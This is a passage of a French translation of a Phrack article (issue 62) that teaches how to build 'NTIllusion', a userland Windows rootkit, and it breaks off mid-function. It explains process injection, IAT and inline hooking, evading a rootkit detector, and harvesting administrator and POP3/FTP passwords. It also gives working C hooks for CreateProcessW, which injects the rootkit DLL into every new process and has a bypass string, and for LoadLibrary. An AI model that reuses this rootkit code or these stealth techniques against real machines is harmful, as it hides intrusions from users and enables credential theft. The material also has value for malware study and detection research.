				   ==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0c of 0x10


|=----=[  NTIllusion: Un rootkit en userland portable pour Win32  ]=----=|
|=----------------------------------------------------------------------=|
|=------------------=[	Kdm <Kodmaker@syshell.org>  ]=------------------=|
|=-----------=[  Traduit par Flyers <flyers@next-touch.com]=------------=|

Cet article dcrit comment programmer un rootkit en userland sous windows.
La premire partie traite les bases et dcrit quelques mthodes montrant
quand l'injection de code et l'interception de code sont possibles, alors
que le reste de cet article couvre les stratgies permettant de rester
furtif en userland. Une version plus complte de cet article est disponible
en [1] pour que les newbies puissent se rfrer  un article prliminaire
 propos des bases de l'injection et de l'interception.

Table des matires

1. Introduction
2. Injection et interception de code
	2.1. Hooks Systmes
	2.2. CreateRemoteThread
	2.3. Manipulation du contexte d'xcution d'un thread
	2.4. Redirection de l'Import Adress Table
	2.5. Insertion d'un saut inconditionnel (jmp)
3. Contrler de l'user land
	3.1. User land contre Kernel land rootkits
	3.2. Restrictions...
	3.3. ...et contraintes
	3.4. Mise en place d'un hook global pour contrler l'userland
	3.5. Contrle d'application locale
4. Fonctions de remplacement
	4.1. Cacher un processus
	4.2. Cacher un fichier
	4.3. Base de registre
	4.4. Outils  la Netstat
		4.4.1. Le cas de windows 2000
			4.4.1.1. Hooker GetTcpTable
			4.4.1.2. Tromper netstat
			4.4.1.3. Tromper Fport
		4.4.2. Le cas de windows XP
	4.5. Backdoor TCP globale / rabbateur de password
	4.6. Gagner en privilges
	4.7. Module cach
5. Fin
	5.1. Conclusion
	5.2. Greets
6. Rfrences

-------[ 1. Introduction
Un rootkit est un programme destin  contrler le comportement d'une
machine donne. Ils sont toujours utiliss pour camoufler la prsence
illgitime d'une backdoor ou d'autres programmes du mme genre. Il agit
en refusant l'affichage de certains lments mme s'ils sont
explicitement demands par l'utilisateur, affectant ainsi  la cible le
statut de machine non compromise.

Il existe diffrents types de rootkits. Certains prennent effet  la
base mme de l'os en s'installant dans le kernel land, sous le mode
privilgi ring 0. D'autres fonctionnent avec des privilges moins
importants en ring 3 et sont appels userland rootkits, car ils visent
directement les applications de l'utilisateur au lieu du systme.
Ces rootkits en ring 3 rencontrent une recrudescence ces dernires annes
car ils sont lgrement plus portables et polyvalents que les rootkts en
ring 0.
Comme il existe plusieurs voies pour rester invisible sous windows, cet
article prsente un tutorial sur le rootkitting sous windows bas sur une
implmentation en dur appele [NTillusion rootkit] qui s'adapte  des
contraintes maximales.

Ce rootkit  t programm pour tre capable de fonctionner avec les
privilges les plus bas pour un compte donn sous windows. En effet, il
n'utilise aucun privilge administratif pour tre capable de se cacher
car il rside directement dans les processus lanc par l'utilisateur
courant.
En un mot, tous les programmes en ring 3 qu'un utilisateur devrait
utiliser pour lister les fichiers, processus, cls de base de registre
sont troitement contrls donc ils ne devraient pas rvler de choses
indsirables. Ainsi, le rootkit attend silencieusement des passwords, ds
qu'un mot de passe administrateur est rcupr le rootkit permet de
charger n'importe quel module de gestion de priphrique.

Comment a marche ?
Tout ce travail est fait en deux tapes. Premirement, en injectant
le code du rootkit dans toutes les applications courantes que l'utilisateur
possde et finalement, en remplaant les fonctions stratgiques par celles
fournies.
Ces techniques sont effectues pendant le fonctionnement de l'ordinateur
cible contre un processus dj lan plutt que sur les donnes du disque
dur, les fichiers binaires, puisque cela lui permet de cette manire de
fonctionner en prsence du windows file protection, d'antivirus et
d'outils vrifiant les checksums galement. Le rootkit a t test avec 
succs sous windows 2000/XP, mais devrait galement fonctionner sous des 
NTs plus vieux.
Son architecture lui permet d'tre port sous windows 9x/Me mais
certaines fonctions seront manquantes (VirtualAllocEx) ou ne se comporteront
pas comme prvu (CreateRemoteThread).

Cette introduction ne serait pas acheve sans commentaires  propos des
diffrentes sections de cet article qui prsentent chaque caractristiques.
La section 3 traite de la prise de contrle de l'userland. Ce mcanisme a
dj t prsent par Holy_Father [HIDINGEN]. Cependant, ici celle-ci est
applique de manire diffrente. En fait, le rootkit agit globalement  un
niveau suprieur donc les choses sont changes et cela a pour consquence
une mthode de propagation lgrement plus simple mais tout aussi
efficace. Et contrairement  Hacker Defender ([HKDEF_RTK]), NTillusion ne 
ncessite pas les droits d'administrateur. Donc l'approche que je propose est 
diffrente.
Cette approche est galement diffrente lorsque l'on parle de la manire 
dont les fonctions sont choisies et remplaces. Ceci est le cas avec la 
section 4 qui prsente une faon spciale de remplacer les fonctions originales. 
D'une part, les fonctions sont gnralement remplaces au niveau du kernel. 
Ainsi, j'espre que cet article montre qu'entretenir la furtivit d'un rootkit 
est galement possible en userland.
D'autre part, lorsque l'on pense au remplacement d'API, les gens
essayent de creuser le plus possible dans le but de hooker au niveau le 
plus bas. 
Dans certains cas c'est une bonne chose, dans d'autres cas c'est une mauvaise
chose.
Ceci est spcialement vrai en ce qui concerne la portabilit, qui souffre
de ce fonctionnement bas niveau. NTillusion remplace les APIs de haut niveau
autant que possible. Comme les concepteurs de windows veulent que les
programmes se fondant sur les APIs documentes soient portables d'une version
de windows  une autre, et comme le rootkit dtourne les fonctions critiques
parmis cette API documentes, la portabilit est accrue. De ce fait il n'y a 
pas besoin d'xcuter une vrification de la version de l'OS et de cela rsulte
un rootkit encore plus universel. Ajouter  cela, cette section offre une 
nouvelle manire de gagner en privilges en montrant comment rcuprer le 
trafic POP3/FTP est possible dans le but d'obtenir des logins/passwords.

Ce n'est pas seulement la seule chose nouvelle : section 4.7 offre
une nouvelle faon de faire pour cacher une DLL charge au sein d'un 
processus donn.
Habituellement, ceci aurait t fait en modifiant les APIs d'numration
de modules dans l'espace mmoire de chaque processus capable de rvler
la prsence du rootkit. Cependant je montre comment cela est possible en 
traitant directement avec les structures non documentes du "Process Environment Block". 
Une fois cela effectu, on n'a plus besoin de se proccuper des dtections 
sous-jacentes. Pour tester cette mthode j'ai tlcharg un dtecteur de 
rootkit ([VICE]) et j'ai scann mon systme. Sans rootkit charg, VICE produisit 
la pluspart du temps des faux positifs pour les DLLs standards (kernel32/ntdll/...). 
Une fois le rootkit charg et en utilisant cette technique, il n'y avait aucun
changement notable et VICE tait toujours en train d'accuser les DLLs systme 
d'tre des rootkits comme avant mais il n'y avait aucune notification de 
kNTIllusion.dll qui faisait son travail efficacement.


-------[ 2. Injection et interception de code
Le but de cette section est de permettre  un processus de remplacer
les fonctions d'un autre. Ce qui implique de prendre le contrle du 
processus cible, puis de remplacer une partie de sa mmoire prudemment. 
Commenons par l'injection de code.
Ainsi changer le comportement d'un processus ncessite d'entrer dans
son espace mmoire dans le but d'xcuter du code pour faire ce que 
l'on dsire. Heureusement, windows xcute des contrles pour empcher 
une application de lire ou crire dans la mmoire d'une autre application 
sans sa permission. Nanmoins les programmeurs de windows ont inclus 
diffrentes mthodes permettant d'outre-passer la protection native
inter-procdurale donc patcher la mmoire des autres processus au
dmarrage est une possibilit. La premire tape pour accder  un processus 
en cours d'xcution est effectue grce  l'API OpenProcess. Si l'application 
possde les permissions de scurit correctes, la fonction renvoie un 
handle pour traiter avec le processus, dans le cas contraire, il en interdit 
l'accs. En obtenant un privilge appropri, un utilisateur pourra obtenir 
l'accs  un processus privilgi comme nous allons le voir plus tard. 
Dans windows NT, un privilge est une sorte d'tiquette accorde  un
utilisateur qui autorise l'utilisateur d'outre-passer ce qui serait
normalement une restriction de certaines parties de l'OS. Ceci est le ct 
visible. Mais malheureusement il y a aussi un ct plus sombre. En fait 
il y a plusieurs manires d'entrer dans l'espace mmoire d'un processus en 
cours d'xcution et d'xcuter du code hostile en son sein, en utilisant 
l'API documente de windows. Ces mthodes ont dj t prsentes dans le 
pass donc je vais seulement vous donner un aperu.

-------[ 2.1. Hooks Systmes
La technique la plus connue utilise la fonction SetWindowsHookEx qui
met en place un hook dans la file de message d'une application donne. 
Lorsque l'on met en place un hook systme, i.e. quand le hook est 
appliqu pour tout le userland, en comptant sur un code localis dans 
une dll, le systme d'exploitation injecte le code dans tous les processus 
fonctionnant contenant le type du hook. Par exemple, si un hook WH_KEYBOARD 
est mis en place et une touche presse sous notepad, le systme va mapper
la dll hooke dans l'espace mmoire de notepad.exe. Aussi simple que ABC... 
pour plus d'informations sur le sujet, voir [HOOKS] et [MSDN_HOOKS]. 
Les hooks sont gnralement utiliss pour dvelopper des patchs ou pour 
automatiser des manipulations de l'usager mais la mthode suivante est de 
loin plus loquente.

-------[ 2.2. CreateRemoteThread
Un autre cadeau pour les programmeurs windows est l'API CreateRemoteThread.
Comme son nom l'indique, elle permet la cration d'un thread  l'intrieur
de l'espace mmoire d'un processus cible. Ceci est expliqu par Robert
Kuster dans [3WAYS]. Quand on cible un processus fonctionnant dans
un contexte plus privilgi, un rootkit peut acqurir le God Power en activant 
le SeDebugPrivilege. Pour plus d'informations voir le code source du rootkit
[NTillusion rootkit]. Bien que cette mthode semble intressante, il est
beaucoup plus rpandu et facile d'arriver  ses fins en utilisant un driver
de scurit. Voir galement [REMOTETH] pour d'autres informations. Allons
plus loin, n'importe quelle DLL injecte grce  cette mthode sera
facilement repre par n'importe quel programme effectuant une numration 
basique des modules.
La section 4.7 propose une solution  ce problme, tandis que cette section 
prsente une manire moin connue d'xcuter du code dans un processus cible.

-------[ 2.3. Manipulation du contexte d'xcution d'un thread
CreateRmoteThread n'est pas la seule API de debuggage qui peut tre
utilise pour xcuter du code dans un processus cible. Le principe de 
la technique qui suit est de rediriger le flux d'xcution d'un programme 
vers un code malicieux inject dans l'espace mmoire du programme. Cela 
implique trois tapes. Premirement, l'injecteur choisis un thread du 
processus et le suspend. Puis, il injecte le code pour qu'il soit xcut 
dans la mmoire du processus comme avant, en utilisant 
VirtualAllocEx/WriteProcessMemory, et il change quelques adresses dues aux 
changements dans la position de la mmoire. Ensuite, il place l'adresse de
l'instruction suivante qui devrait tre xcut pour ce thread (registre eip) 
pour qu'il pointe vers le code inject et relance le thread. Le code inject 
est, de cette faon, xcut dans le processus distant. Finalement il 
l'arrange pour que le processus saute vers la prochaine instruction qui 
aurait d tre xcute si le programme avait suivi son fonctionnement
normal, pour reprendre son activit le plus vite possible. L'ide de
manipuler le contexte d'un thread est expos dans [LSD]. D'autre mthodes 
existent pour dclencher le chargement d'une DLL donne au sein de l'espace 
mmoire d'un processus cible.
Par sa conception, la cl HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Current
Version\Windows\AppInit_DLLs collecte la DLL qui doit tre charge par
le systme au sein de chaque processus via user32.dll. En plus de cela vient 
le BHO, acronyme de Browser Help Projects, qui agit comme plugin pour les 
navigateurs, permettant le chargement de n'importe quel sorte de code.

Mais prendre simplement le contrle d'un processus n'est pas suffisant...
Une fois l'espace mmoire du processus cible sous contrle, il est possible 
de remplacer ses fonctions par les ntres.
Les routines d'interception de codes sont critiques depuis qu'elles doivent 
allier efficacit et vitesse. Les mthodes prsentes dans cette section ont
leurs propres avantages et inconvnients. Comme pour les techniques d'injection,
il existe plusieurs mthodes pour faire le travail. Le but de ces mthodes est 
de rediriger la fonction d'un autre programme lorsque le code est inject dans 
la mmoire. Pour le programme cible, tout se passe comme s'il avait appel la 
fonction dsire comme d'habitude. Mais en fait l'appel est redirig vers l'API 
de remplacement. Quelques mthodes d'interception d'API sont bases sur des 
dispositifs intentionellement fournis par les crateurs du format PE pour simplifier 
la tche du chargeur lorsqu'un module est mapp dans la mmoire.
La redirection d'une fonction prend place une fois que le code que nous avons inject
dans le processus cible est xcut. Pour comprendre comment ces mthodes fonctionnent,
une connaissance complte du format PE est ncessaire; voir [PE] et armez vous de 
courage, les mthodes suivantes sont utiles.

-------[ 2.4. Redirection de l'Import Adress Table
Aprs injection de notre code dans l'espace mmoire de l'application,
il est possible de modifier son comportement. Nous utilisons une technique 
appele "API Hooking" qui implique de remplacer l'API par nos propres 
routines. La manire la plus commune de le faire est de changer 
l'Import Adress Table d'un module donn. Quand un programme est xcut, ses
diffrentes zones sont mappes en mmoire, et les adresses des fonctions
qu'il appelle sont mises  jour en fonction de la version de windows et du 
service pack. Le format PE fourni une solution intelligente pour faire cette 
mise  jour, sans avoir  patcher chaque appel.
Quand vous compilez votre programme, chaque appel  une API externe ne
pointe pas directement sur le point d'entre de la fonction en mmoire. Il utilise 
un saut impliquant un pointeur de type DWORD, cette adresse appartient  un 
tableau nomme Import Adress Table (IAT), car elle contient les adresses de 
chaque fonction importe. Au chargement, le chargeur n'a besoin que de 
patcher chaque entre de l'IAT pour modifier la cible de chaque appel pour 
toute l'API.
Ainsi, pour dtourner, nous patchons simplement l'IAT pour faire en
sorte que la mmoire pointe vers notre code plutt que le vrai point d'entre 
de l'API cible. De cette faon, nous avons le contrle total de l'application, 
et chaque appel sous-jacent  cette fonction est redirig. C'est une ide 
gnrale de la technique qui est plus dtaille dans [IVANOV] et [UNLEASHED]. 
Mais hooker au niveau de l'IAT est un chemin risqu. Les appels indirects peuvent 
tre manqus. Pour empcher ceci, il n'y a qu'une solution... insrer un
saut inconditionnel!

-------[ 2.5. Insertion d'un saut inconditionnel (jmp)
Cette technique consiste  modifier le code machine d'une API donne
pour xcuter un saut inconditionnel vers une fonction de remplacement. 
Ainsi n'importe quel appel direct ou indirect  l'API hook va 
invitablement tre redirig vers la nouvelle fonction. C'est le type 
de redirection de fonction utilis par le Microsoft Detours Library [DETOURS]. 
En thorie, la redirection par insertion d'un saut inconditionnel est simple:
vous trouvez simplement le point d'entre de l'API qui doit tre dtourn
et insrez un saut inconditionnel vers la nouvelle fonction. Cette technique
nous fait perdre la capacit d'appeler l'API de dpart, cependant ;
il y a deux faons de contourner cette difficult. En premier la mthode
utilise dans le fameux rootkit hxdef, ou Hacker Defender qui est maintenant
open source [HKDEF_RTK]. L'ide est d'insrer un saut inconditionnel tout
en sauvegardant l'instruction crase dans la zone tampon. Lorsque l'API 
d'origine doit tre appele, la routine de redirection revient  la
vritable API, l'appelle, puis remet en place le hook. Le problme avec
cette technique est qu'il est possible de perdre le hook. Si les choses se
passent mal, il y a une chance que le hook ne sera pas repositionn lors
de la sortie de l'API. Un risque encore plus grand est qu'un autre thread
de l'application puisse accder  l'API entre le moment o elle est restaure
et le moment o le hook est repositionn. Ainsi, comme le sait son crateur
Holy_Father, il y a des chances que certains appels soient perdus en
utilisant cette technique.

Heureusement, il existe une autre solution pour rappeler l'API
d'origine. Elle consiste  cr un buffer contenant la version originale de la 
zone mmoire modifie de l'API , suivi d'un saut vers une adresse situe 5 octets 
aprs le dbut de la zone. Ce saut permet de continuer l'xcution de la 
fonction d'origine juste aprs le saut inconditionnel qui lui
sert  la redirection vers la fonction de remplacement.
Cela semble simple ?

Et bien non. Un dtail que j'ai volontairement laiss de ct jusqu'
maintenant : le problme de dsassembler des instructions. Dans le code
machine, les instructions ont une longueur variable.
Comment pouvons nous crire un saut inconditionnel de 5 octets en tant
sr de ne pas endommager le code cible ("couper une instruction en deux") ?
La rponse est simple: dans la majorit des cas nous utilisons une routine
de dsassemblage basique. Elle permet de rcuprer autant d'instructions
compltes que ncessaire pour atteindre une taille de 5 octets, i.e.
juste la place pour insrer le saut inconditionnel. La routine de redirection
trs pratique utilise dans le rootkit est celle cre par Z0MbiE
(voir [ZOMBIE2]). Cette mthode de hooking, lgrement particulire a t
prsente par Holy_Father.
Rfrez vous  [HKDEF] si vous tes intress.
Hum, c'est tout ce dont nous avons besoin en prrequis. Maintenant nous
allons voir comment fabriquer un rootkit win32 en utilisant ces techniques.
A nous de jouer !

-------[ 3. Contrler le userland
-------[ 3.1. User land contre Kernel land rootkits
La plupart du temps, pour arriver  leurs fins les rootkits en
kernel land remplacent simplement l'API native avec une autre de leur
cration en rcrivant certaines entres dans la Service Descriptor Table
(SDT). Face  un systme windows normal, elles n'ont pas  s'inquiter de
la persistance vu qu'une fois que le hook est en place, il va dtourner
tous les appels sous-jacents pour tous les processus. Ce n'est pas le
cas pour les rootkits win32 en ring3, qui agissent dans le user land. En
fait, le hook n'est pas global comme pour les rootkits en kernel land,
et le rootkit (en user land) sera oblig d'infecter tous les processus
capable de trahir sa prsence.
Certains dcident de hooker tous les processus en fonctionnement sur la
machine incluant ceux du groupe SYSTEM. Cela ncessite des techniques
d'injection avances, des mthodes de hook et de cibler les API  un
niveau trs bas.
Je m'explique. Considrons que nous voulions que certains rpertoires
n'apparaissent pas lors de l'utilisation de l'exploreur. Un bref regard
vers l'Import Table d'explorer.exe rvle qu'il utilise FindFirstFileA/W
et FindNextFileA/W. Alors nous devons hooker ces fonctions.
Au dbut cela parait pnible de devoir hooker toutes ces fonctions plutt
que de descendre un niveau plus bas. Oui, ces fonctions ncessitent l'API
native ntdll.ZwQueryDirectoryFile, il serait plus facile de hooker celle-ci.
Ceci est vrai pour une version donne de windows. Mais ce n'est pas
idal pour faire un programme portable. Plus les fonctions sont de bas
niveau, plus elles risquent de changer. Ajouter  cela, des fois elles
ne sont pas documentes. Ainsi d'un ct, il y a le dtournement de bas niveau,
plus prcis mais quelque peu hasardeux, et de l'autre ct, le dtournement
de haut niveau, moins prcis, mais bien plus simple  mettre en place.

Ntillusion dtourne les API de haut niveau puisque je ne l'ai jamais
conue pour qu'elle rside dans les processus systmes. Chaque choix a
ses avantages et ses inconvnients, j'ai voulu que le rootkit s'adapte
aux contraintes que windows impose aux processus.


-------[ 3.2. Restrictions...
Le rootkit a t conu pour passer inaperu pour l'utilisateur courant
sur une machine en local. Ceci a t spcialement pens pour les cas o
le compte administrateur est inaccessible pour une quelconque raison. Ceci
dmontre que quelque fois passer root n'est pas ncessaire pour tre menac.
Cela reprsente une vrai menace dans ce cas, sachant que les utilisateurs
windows ont la facheuse tendance de mettre les droits maximums  leurs
comptes plutt que d'utiliser la commande runas pour tre admin seulement
quand c'est ncessaire. Donc, si l'utilisateur n'est pas logg en admin,
il ne l'est probablement pas du tout, ainsi un rootkit en userland faira
parfaitement l'affaire. Autrement, c'est qu'il est temps d'aller en mode kernel.
Ainsi, le rootkit a t cr pour ne ncessiter que les droits de l'utilisateur
courant pour passer inaperue  ses yeux, qu'il soit admin ou pas. Alors il se
lance en attendant les password collects grce aux utilisateurs utilisant
la commande runas, permettant l'escalade de privilges. Il devrait galement
espionner le traffic internet pour rcuprer dynamiquement les passwords
pop3/ftp au vol. Ceci est possible mais un peu trop vicieux...


-------[ 3.3. ...et contraintes
Comme vous devez le savoir maintenant, windows maintient une protection
native inter-processus donc si un processus n'appartient pas au mme groupe 
ou ne prsente pas les droits administrateurs ni le privilge debug il
n'aura pas accs  un autre processus. Donc le rootkit sera contraint
d'infecter les processus de l'utilisateur courant. A l'inverse, s'il a
les droits administrateurs, il devrait s'ajouter lui-mme dans la cl
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run et
cach sa prsence, devenant ainsi actif pour tous les utilisateurs de la
machine. En raison de l'architecture du rootkit, les processus privilgis
seront aptes  voir le systme tel qu'il est (cad infect). Donc les
logiciels d'administration  distance devraient rvler le rootkit, tout autant
que les serveurs FTP ou HTTP fonctionnant en services. La solution  ce
problme est d'infecter galement les processus systmes mais la tche est
quelque peu dsespre et trop considrable pour jouer au jeu du chat et la
souris.


-------[ 3.4. Mise en place d'un hook global pour contrler l'userland
Pour tre efficace, le rootkit doit tourner sous toutes les applications
visibles qui pourraient rvler une prsence non voulue. Essayer de s'injecter
dans chaque processus fonctionnant lorsque le rootkit se charge n'est pas
une bonne ide si nous ne voulons pas affecter les processus qui devrait
se lancer plus tard. Une technique parfaite pour raliser cela est de mettre
en place un hook du ct systme, en utilisant SetWindowsHookEx pour les
vnements WH_CBT. Pour arriver  ses fins, la dll du rootkit sera injecte
dans tous les processus graphiques en cours de lancement, du moment qu'ils
apparaissent  l'cran. Malheureusement, l'vnement WH_CBT concerne
seulement les processus utilisant user32.dll, il n'infectera donc pas certaines
applications console. Ce qui est le cas de cmd, netstat, et d'autres.
De ce fait, le rootkit doit galement affecter les processus lorsqu'il sera
mis au courant et s'injectera lorsque la cration d'un processus sera en cours.
Ceci est ralis par le hook de la fonction CreateProcessW au sein de tous
les processus infects. De cette faon, le rootkit sera en fonctionnement
dans tous les nouveaux processus crs. Le remplacement de CreateProcessW
et du hook systme sont des mthodes complmentaires. Cette combinaison
couvre parfaitement tous les cas de figures : l'xcution d'un programme
graphique ou console depuis explorer, taskmanager ou tout autre application.
Ceci a galement l'avantage d'injecter le rootkit dans taskmanager lorsque
l'utilisateur dclenche la squence Ctrl+Alt+Del.
Dans ce cas, le taskmanager est cr par winlogon qui n'est pas infect
par le rootkit. Mais le hook systme est inject ds qu'il est cr (taskmanager),
puisque c'est une application graphique. Pour tre sr qu'un processus ne sera
pas infect deux fois, le rootkit modifie pDosHeader->e_csum pour lui assigner
la valeur NTI_SIGNATURE. Quand la DLL est charge elle vrifie en premier
la prsence de la signature et quitte proprement si ncessaire.
Ce n'est qu'une surete sachant qu'une vrification est fate par DllMain pour
tre sr que DllMain qui est appele correspond  DLL_PROCESS_ATTACH. Cet
vnement ne se dclenche que lorsque la DLL est mappe pour la premire
fois dans l'espace mmoire de l'application, tandis que les appels suivants
 LoadLibrary incrmenteront seulement le compteur de chargement pour ce
module et vont tre marqus comme DLL_THREAD_ATTACH.

Le code suivant est la fonction de remplacement pour CreateProcessW du
rootkit NTIllusion. Elle contient une porte drobe par conception: si le
nom de l'application ou la ligne de commande contiennent RTK_FILE_CHAR, le
processus n'est pas hook, permettant ainsi  quelques programmes de
ne pas tre trafiqus par le rootkit.
Ceci est utile pour lancer des processus cachs depuis le shell windows
qui effectuent une recherche avant de dlguer la cration du processus 
CreateProcessW.

----------------------	 EXAMPLE 1   -----------------------------
BOOL WINAPI MyCreateProcessW(LPCTSTR lpApplicationName,
LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles,
DWORD dwCreationFlags, LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation)
{
	int bResult, bInject=1;
	char msg[1024], cmdline[256], appname[256];


/* Resolve CreateProcessW function address if it hasn't been filled
by IAT hijack. This happens when the function isn't imported at IAT
level but resolved at runtime using GetProcAddresss. */

	if(!fCreateProcessW)
	{
		fCreateProcessW = (FARPROC)
		fGetProcAddress(GetModuleHandle("kernel32.dll"),
		"CreateProcessW");
		if(!fCreateProcessW) return 0;
	}

	/* Clear parameters */
	my_memset(msg, 0, 1024);
	my_memset(cmdline, 0, 256);
	my_memset(appname, 0, 256);

	/* Convert application name and command line from unicode : */
	WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
	  lpApplicationName, -1, appname, 255,NULL, NULL);
	WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
	  lpCommandLine, -1, cmdline, 255,NULL, NULL);

	/* Call original function first, in suspended mode */
	bResult = (int) fCreateProcessW((const unsigned short *)
			lpApplicationName,
			(unsigned short *)lpCommandLine,
			lpProcessAttributes,
			lpThreadAttributes, bInheritHandles,
			CREATE_SUSPENDED
			/*dwCreationFlags*/, lpEnvironment,
		   (const unsigned short*)lpCurrentDirectory,
		   (struct _STARTUPINFOW *)lpStartupInfo,
			lpProcessInformation);

	/* inject the created process if its name & command line don't
	contain RTK_FILE_CHAR */
	if(bResult)
	{
		if(
		(lpCommandLine &&
		strstr((char*)cmdline,(char*)RTK_FILE_CHAR)) ||
		(lpApplicationName &&
		strstr((char*)appname,(char*)RTK_FILE_CHAR))
		)
		{
			OutputString("\n[i] CreateProcessW: Giving true
			sight to
			process '%s'...\n", (char*)appname);
			WakeUpProcess(lpProcessInformation->dwProcessId);
			bInject = 0;
		}
		if(bInject)
			InjectDll(lpProcessInformation->hProcess,
				 (char*)kNTIDllPath);

		CloseHandle(lpProcessInformation->hProcess);
		CloseHandle(lpProcessInformation->hThread);

	}
	return bResult;
}
---------------------- END EXAMPLE 1 -----------------------------

Notons que le processus fils est cr en mode "suspended", puis inject
par la DLL en utilisant CreateRemoteThread.
La fonction de hook de DLL qui suit rveille le processus courant en relanant
tous ses threads. Ceci nous assure que le processus n'a pas xcut une
seule ligne de son propre code pendant le temps de dtournement.

-------[ 3.5. Contrle d'application locale
Etre inject dans tous les processus du systme est la premire tape
pour prendre le contrle du user land.
En pouvant agir n'importe o, il devrait garder le contrle et empcher
tout nouveau module charg d'chapper  la fonction de hooking qui a t 
mise en place dans le but de cacher des choses indsirables. Il est donc
fortement recommand de filtrer les appels  LoadLibraryA/W/Ex dans le
but de hooker les modules ds qu'ils sont chargs en mmoire. La fonction 
suivante montre comment faire pour remplacer LoadLibraryA dans le but d'empcher 
les programmes d'chapper au hook.

----------------------	 EXAMPLE 2   -----------------------------
/* LoadLibrary : prevent a process from escaping hijack by loading a new
dll and calling one of its functions */
HINSTANCE WINAPI MyLoadLibrary( LPCTSTR lpLibFileName )
{
	HINSTANCE hInst = NULL; /* DLL handle (by LoadLibrary)*/
	HMODULE   hMod	= NULL; /* DLL handle (by GetModuleHandle) */
	char	 *lDll = NULL;		/* dll path in lower case */

	/* get module handle */
	hMod = GetModuleHandle(lpLibFileName);

	/* Load module */
	hInst = (HINSTANCE) fLoadLibrary(lpLibFileName);


	/* Everything went ok? */
	if(hInst)
	{

		/*  If the DLL was already loaded, don't set hooks
		a second
		    time */
		if(hMod==NULL)
		{
			/* Duplicate Dll path to perform lower case
			comparison*/
			lDll = _strdup( (char*)lpLibFileName );
			if(!lDll)
				goto end;
			/* Convert it to lower case */
			_strlwr(lDll);

			/* Call hook function */
			SetUpHooks((int)NTI_ON_NEW_DLL, (char*)lDll);

			free(lDll);
		}
	}

end:
  return hInst;
}
---------------------- END EXAMPLE 2 -----------------------------

Comme la technique de dtournement utilise est la rcriture de l'entry
point, nous devons vrifier que la DLL n'a pas dj t charg avant
d'effectuer le hook. Autrement, cela entranera une boucle infinie lors
de l'appel  la fonction d'origine. Le travail est partiellement effectu
par SetUpHooks qui xcutera le hook sur le module dj charg seulement au
lancement du programme.

A propos de GetProcAddress:
Le premier rootkit NTillusion utilisait une mthode de dtournement de
l'IAT dans le but de remplacer les APIs fichier, processus, registre et rseau
pour tre furtive. Sous WinXP, tout fonctionnait parfaitement. Mais lorsque
je l'ai test sous win2000 j'ai remarqu un comportement anormal dans l'IAT de
explorer. En fait, le chargeur ne remplis pas l'IAT correctement pour quelques
fonctions comme CreateProcessW, donc l'adresse crite ne correspondait pas
toujours au entry point de l'API [EXPLOREIAT]. Scanner l'IAT en cherchant
le nom des API au lieu de leurs adresses ne rsoud pas le problme. Il semble
que explorer effectue quelque chose d'trange...
J'ai donc modifi le moteur de dtournement de l'IAT ncessaire pour hooker
GetProcAddress dans le but d'empcher la sortie du hook, par l'insertion d'un
saut inconditionnel qui ne ncessite pas de filtrer les appels  cette API.
Quoi qu'il en soit, vous pouvez essayer de dtourner GetProcAddress et envoyer
les dtails de chaque appel vers la sortie de debuggage. La quantit
d'appels  GetProcAddress effectus par explorer est amusant et son tude,
instructive.

-------[ 4. Fonctions de remplacement
Ici vous trouverez la partie la plus plaisante du rootkit NTillusion,
i.e. les dclarations des fonctons de remplacement.

-------[ 4.1. Cacher un processus
La cible principale lorsque l'on parle de camouflage de processus c'est
taskmanager. Etudier l'Import Table rvle qu'il xcute des appels directs 
ntdll.NTQuerySystemInformation, donc cette fois, dtourner l'API  un niveau
plus lev est inutile et la situation ne nous laisse pas d'autre choix.
Le rle de la fonction de remplacement est de cacher la prsence de chaque
processus dont le nom de l'image commence par la chane RTK_PROCESS_CHAR.
La rcupration de la liste des processus est effectue via un appel  l'API
[NtQuerySystemInformation].

NTSTATUS NtQuerySystemInformation(
  SYSTEM_INFORMATION_CLASS SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength
);

La fonction NtQuerySystemInformation rcupre plusieurs types d'informations
systme. Lorsque l'on spcifie SystemInformationClass pour qu'elle soit gale 
SystemProcessInformation, l'API renvoie un tableau de structures
SYSTEM_PROCESS_INFORMATION, une pour chaque processus lanc sur le
systme. Ces structures contiennent des informations concernant l'utilisation
des ressources de chaque processus, incluant le nombre d'handles utiliss par
le processus, la crte d'utilisation page-fichier, et le nombre de pages mmoires
que le processus a allou, comme dcrit dans le MSDN. La fonction retourne
un tableau de structures SYSTEM_PROCESS_INFORMATION via le paramtre SystemInformation.

Chaque structure ressemble  peu prs  :
typedef struct _SYSTEM_PROCESS_INFORMATION
{
	DWORD	       NextEntryDelta;
	DWORD	       dThreadCount;
	DWORD	       dReserved01;
	DWORD	       dReserved02;
	DWORD	       dReserved03;
	DWORD	       dReserved04;
	DWORD	       dReserved05;
	DWORD	       dReserved06;
	FILETIME       ftCreateTime;	/* relative to 01-01-1601 */
	FILETIME       ftUserTime;		/* 100 nsec units */
	FILETIME       ftKernelTime;	/* 100 nsec units */
	UNICODE_STRING ProcessName;
	DWORD	       BasePriority;
	DWORD	       dUniqueProcessId;
	DWORD	       dParentProcessID;
	DWORD	       dHandleCount;
	DWORD	       dReserved07;
	DWORD	       dReserved08;
	DWORD	       VmCounters;
	DWORD	       dCommitCharge;
	SYSTEM_THREAD_INFORMATION  ThreadInfos[1];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
Cacher un processus est possible en jouant avec le membre NextEntryDelta
de la structure, qui reprsente un offset vers la prochaine entre
SYSTEM_PROCESS_INFORMATION. La fin de la liste est marque par un NextEntryDelta
gal  zro.

----------------------	 EXAMPLE 3   -----------------------------
/*  MyNtQuerySystemInformation : install a hook at system query
level to prevent _nti* processes from being shown.
Thanks to R-e-d for this function released in rkNT rootkit.
(error checks stripped)
*/
DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass,
					PVOID SystemInformation, ULONG
					SystemInformationLength,
					PULONG ReturnLength)
{
